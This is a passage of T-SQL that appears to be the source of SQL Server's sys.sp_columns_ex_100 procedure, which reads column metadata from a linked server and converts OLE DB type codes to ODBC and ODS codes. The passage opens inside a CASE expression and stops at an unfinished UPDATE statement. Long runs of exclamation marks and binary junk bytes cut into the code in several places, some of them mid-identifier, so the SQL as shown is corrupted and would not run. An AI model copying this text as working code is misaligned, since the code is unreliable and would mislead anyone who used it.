                                      when #tmp_columns.DATA_TYPE in (@ODBC_NTEXT, @ODBC_TEXT)
                                          then @ODS_TEXT
                                      when #tmp_columns.DATA_TYPE = @ODBC_BIT
                                          then @ODS_BIT
                                      when #tmp_columns.DATA_TYPE = @ODBC_DECIMAL
                                          then @ODS_DECIMAL
                                      when #tmp_columns.DATA_TYPE = @ODBC_NUMERIC
                                          then @ODS_NUMERIC
                                      when #tmp_columns.DATA_TYPE = @ODBC_GUID
                                          then @ODS_GUID
                                      when #tmp_columns.DATA_TYPE = @ODBC_IMAGE
                                          then @ODS_IMAGE
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIMESTAMP
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                              (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                              BUFFER_LENGTH = 8
                                          then @ODS_TIMESTAMP
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  1
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then  @ODS_BINARY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and #tmp_columns.NULLABLE =  0
                                          and (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                          then @ODS_BINARY_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_VARBINARY
                                          then @ODS_VARBINARY
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 1
                                          then @ODS_CHAR_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_CHAR, @ODBC_NCHAR) and #tmp_columns.NULLABLE = 0
                                          then @ODS_CHAR_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_VARCHAR, @ODBC_NVARCHAR)
                                          then @ODS_VARCHAR
                                      else null
             !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*~5(m)tU0hy>z8^{}|}	}!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6	Ҵ.v

create procedure sys.sp_columns_ex_100
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @column_name        sysname = null,
    @ODBCVer            int = 2,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    set nocount on
    declare
        @DBCOLUMNFLAGS_ISFIXEDLENGTH binary(1), @DBCOLUMNFLAGS_ISLONG   binary(1),
        @DBCOLUMNFLAGS_ISROWVER binary(2),      @DBCOLUMNFLAGS_SS_ISVARIABLESCALE binary(4)

    select
        @DBCOLUMNFLAGS_ISFIXEDLENGTH = 0x10,    @DBCOLUMNFLAGS_ISLONG   = 0x80,
        @DBCOLUMNFLAGS_ISROWVER      = 0x0200,  @DBCOLUMNFLAGS_SS_ISVARIABLESCALE = 0x40000000

    declare
        @DBTYPE_I2 smallint,            @DBTYPE_I4 smallint,
        @DBTYPE_R4 smallint,            @DBTYPE_R8 smallint,
        @DBTYPE_CY smallint,            @DBTYPE_DATE smallint,
        @DBTYPE_BSTR smallint,          @DBTYPE_BOOL smallint,
        @DBTYPE_VARNUMERIC smallint,    @DBTYPE_DECIMAL smallint,
        @DBTYPE_UI1 smallint,           @DBTYPE_BYREF smallint,
        @DBTYPE_I1 smallint,            @DBTYPE_UI2 smallint,
        @DBTYPE_UI4 smallint,           @DBTYPE_I8 smallint,
        @DBTYPE_UI8 smallint,           @DBTYPE_GUID smallint,
        @DBTYPE_BYTES smallint,         @DBTYPE_STR smallint,
        @DBTYPE_WSTR smallint,          @DBTYPE_NUMERIC smallint,
        @DBTYPE_DBDATE smallint,        @DBTYPE_DBTIME smallint,
        @DBTYPE_DBTIMESTAMP smallint,   @DBTYPE_XML smallint,
        @DBTYPE_DBTIME2 smallint,       @DBTYPE_DBTIMESTAMPOFFSET smallint

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    select
        @DBTYPE_I2          = 2,    @DBTYPE_I4          = 3,
        @DBTYPE_R4          = 4,    @DBTYPE_R8          = 5,
        @DBTYPE_CY          = 6,    @DBTYPE_DATE        = 7,
        @DBTYPE_BSTR        = 8,    @DBTYPE_BOOL        = 11,
        @DBTYPE_VARNUMERIC  = 139,  @DBTYPE_DECIMAL     = 14,
        @DBTYPE_UI1         = 17,   @DBTYPE_BYREF       = 16384,
        @DBTYPE_I1          = 16,   @DBTYPE_UI2         = 18,
        @DBTYPE_UI4         = 19,   @DBTYPE_I8          = 20,
        @DBTYPE_UI8         = 21,   @DBTYPE_GUID        = 72,
        @DBTYPE_BYTES       = 128,  @DBTYPE_STR         = 129,
        @DBTYPE_WSTR        = 130,  @DBTYPE_NUMERIC     = 131,
        @DBTYPE_DBDATE      = 133,  @DBTYPE_DBTIME      = 134,
        @DBTYPE_DBTIMESTAMP = 135,  @DBTYPE_XML         = 141,
        @DBTYPE_DBTIME2     = 145,  @DBTYPE_DBTIMESTAMPOFFSET = 146

    declare
        @ODS_SMALLINT_NOT_NULL tinyint, @ODS_INT_NULL tinyint,
        @ODS_INT_NOT_NULL tinyint,      @ODS_TINYINT_NOT_NULL tinyint,
        @ODS_REAL_NOT_NULL tinyint,     @ODS_FLOAT_NULL tinyint,
        @ODS_FLOAT_NOT_NULL tinyint,    @ODS_MONEY_NULL tinyint,
        @ODS_MONEY_NOT_NULL tinyint,    @ODS_DATETIME_NULL tinyint,
        @ODS_DATETIME_NOT_NULL tinyint, @ODS_TEXT tinyint,
        @ODS_BIT tinyint,               @ODS_DECIMAL tinyint,
        @ODS_NUMERIC tinyint,           @ODS_GUID tinyint,
        @ODS_IMAGE tinyint,             @ODS_TIMESTAMP tinyint,
        @ODS_BINARY_NULL tinyint,       @ODS_BINARY_NOT_NULL tinyint,
        @ODS_VARBINARY tinyint,         @ODS_CHAR_NULL tinyint,
        @ODS_CHAR_NOT_NULL tinyint,     @ODS_VARCHAR tinyint,
        @ODS_DATE tinyint,              @ODS_TIME tinyint,
        @ODS_DATETIME2 tinyint,         @ODS_DATETIMEOFFSET tinyint

    select
        @ODS_IMAGE = 34,            @ODS_TEXT = 35,
        @ODS_GUID = 36,             @ODS_BINARY_NULL = 37,
        @ODS_VARBINARY = 37,        @ODS_INT_NULL = 38,
        @ODS_CHAR_NULL = 39,        @ODS_VARCHAR = 39,
        @ODS_TIMESTAMP = 45,        @ODS_BINARY_NOT_NULL = 45,
        @ODS_CHAR_NOT_NULL = 47,    @ODS_TINYINT_NOT_NULL = 48,
        @ODS_BIT = 50,              @ODS_SMALLINT_NOT_NULL = 52,
        @ODS_INT_NOT_NULL = 56,     @ODS_REAL_NOT_NULL = 59,
        @ODS_MONEY_NOT_NULL = 60,   @ODS_DATETIME_NOT_NULL = 61,
        @ODS_FLOAT_NOT_NULL = 62,   @ODS_DECIMAL = 106,
        @ODS_NUMERIC = 108,         @ODS_FLOAT_NULL = 109,
        @ODS_MONEY_NULL = 110,      @ODS_DATETIME_NULL = 111,
        @ODS_DATE = 40,             @ODS_TIME = 41,
        @ODS_DATETIME2 = 42,        @ODS_DATETIMEOFFSET = 43

    declare
        @ODBC_GUID smallint,        @ODBC_NTEXT smallint,
        @ODBC_NVARCHAR smallint,    @ODBC_NCHAR smallint,
        @ODBC_BIT smallint,         @ODBC_TINYINT smallint,
        @ODBC_IMAGE smallint,       @ODBC_VARBINARY smallint,
        @ODBC_TIMESTAMP smallint,   @ODBC_BINARY smallint,
        @ODBC_TEXT smallint,        @ODBC_CHAR smallint,
        @ODBC_NUMERIC smallint,     @ODBC_DECIMAL smallint,
        @ODBC_MONEY smallint,       @ODBC_INT smallint,
        @ODBC_SMALLINT smallint,    @ODBC_FLOAT smallint,
        @ODBC_REAL smallint,        @ODBC_VARCHAR smallint,
        @ODBC_DATETIME smallint,    @ODBC_DATE smallint,
        @ODBC_TIME2 smallint,       @ODBC_DATETIMEOFFSET smallint

    select
        @ODBC_GUID      = -11,  @ODBC_NTEXT     = -10,
        @ODBC_NVARCHAR  = -9,   @ODBC_NCHAR     = -8,
        @ODBC_BIT       = -7,   @ODBC_TINYINT   = -6,
        @ODBC_IMAGE     = -4,   @ODBC_VARBINARY = -3,
        @ODBC_TIMESTAMP = -2,   @ODBC_BINARY    = -2,
        @ODBC_TEXT      = -1,   @ODBC_CHAR      = 1,
        @ODBC_NUMERIC   = 2,    @ODBC_DECIMAL   = 3,
        @ODBC_MONEY     = 3,    @ODBC_INT       = 4,
        @ODBC_SMALLINT  = 5,    @ODBC_FLOAT     = 6,
        @ODBC_REAL      = 7,    @ODBC_VARCHAR   = 12,
        @ODBC_DATETIME  =   case @ODBCVer
                                when 2 then 11
                                else 93
                            end,
        @ODBC_DATE =        case @ODBCVer
                                when 2 then 9
                                else 91
                            end,
        @ODBC_TIME2 = -154,     @ODBC_DATETIMEOFFSET = -155

    create table #tmp_columns
    (
        TABLE_CAT sysname collate catalog_default NULL,
        TABLE_SCHEM sysname collate catalog_default NULL,
        TABLE_NAME sysname  collate catalog_default NOT NULL,
        COLUMN_NAME sysname collate catalog_default NULL,
        DATA_TYPE smallint NOT NULL,
        TYPE_NAME sysname  collate catalog_default NULL,
        COLUMN_SIZE int NULL,
        BUFFER_LENGTH int NULL,
        DECIMAL_DIGITS smallint NULL,
        NUM_PREC_RADIX smallint NULL,
        NULLABLE smallint NOT NULL,
        REMARKS nvarchar(254) collate catalog_default NULL,
        COLUMN_DEF nvarchar(254) collate catalog_default NULL,
        SQL_DATA_TYPE smallint null,
        SQL_DATETIME_SUB smallint NULL,
        CHAR_OCTET_LENGTH int NULL,
        ORDINAL_POSITION smallint,
        IS_NULLABLE varchar(254) collate catalog_default NOT NULL,
        SS_IS_SPARSE smallint NULL,
        SS_IS_COLUMN_SET smallint NULL,
        SS_IS_COMPUTED smallint,
        SS_IS_IDENTITY smallint,
        SS_UDT_CATALOG_NAME sysname collate catalog_default NULL,
        SS_UDT_SCHEMA_NAME sysname collate catalog_default NULL,
        SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN NULL,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default NULL,
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default NULL,
        SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default NULL,
        SS_DATA_TYPE tinyint null,-- Info here is for backward compatibility - SQL 6.5
        COLUMN_FLAGS int NOT NULL -- This is not returned in the final resultset, but used in conditional logic
    )

    --
    -- Gathers column info through DQ(OLEDB) from remote server.
    --
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnul!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6N}
Kv
l(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            COLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                                    when 1 then 'YES'
                                    else 'NO'
                                  end,
            -- ISSUE - These columns are not exposed by engine.
            -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
            SS_IS_SPARSE                         = convert(smallint, 0),
            SS_IS_COLUMN_SET                     = convert(smallint, 0),
            SS_IS_COMPUTED                       = convert(smallint, 0), 
            SS_IS_IDENTITY                       = convert(smallint, 0), 
            SS_UDT_CATALOG_NAME                  = convert(sysname, 0), -- c.SS_UDT_CATALOGNAME,
            SS_UDT_SCHEMA_NAME             !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(68%v
      = convert(sysname, 0), -- c.SS_UDT_SCHEMANAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = convert(nvarchar(4000), null) collate Latin1_General_BIN, -- c.SS_UDT_ASSEMBLY_TYPENAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
            SS_XML_SCHEMACOLLECTION_NAME         = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTIONNAME,
            --
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,@table_schema,@table_name,NULL) c,
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            )
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        -- copy&pasted from above, but (1) and (2) are different
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            COLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                             !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6!1v
         when 1 then 'YES'
                                      else 'NO'
                                  end,
            -- ISSUE - These columns are not exposed by engine.
            -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
            SS_IS_SPARSE                         = convert(smallint, 0),
            SS_IS_COLUMN_SET                     = convert(smallint, 0),
            SS_IS_COMPUTED                       = convert(smallint, 0),
            SS_IS_IDENTITY                       = convert(smallint, 0),
            SS_UDT_CATALOG_NAME                  = convert(sysname, null), -- c.SS_UDT_CATALOGNAME,
            SS_UDT_SCHEMA_NAME                   = convert(sysname, null), -- c.SS_UDT_SCHEMANAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = convert(nvarchar(4000), null) collate Latin1_General_BIN, -- c.SS_UDT_ASSEMBLY_TYPENAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
            SS_XML_SCHEMACOLLECTION_NAME         = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTIONNAME,
            --
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,NULL,NULL,NULL) c, -- (1)
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1 and
            (
                TABLE_SCHEMA like @table_schema or
                @table_schema is NULL or
                (TABLE_SCHEMA is NULL and @table_schema = N'%')
            )
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            ) and
            c.TABLE_NAME like @table_name -- (2)
    end

    --
    -- Converts OLEDB types to ODBC types.
    --
    update #tmp_columns
    set
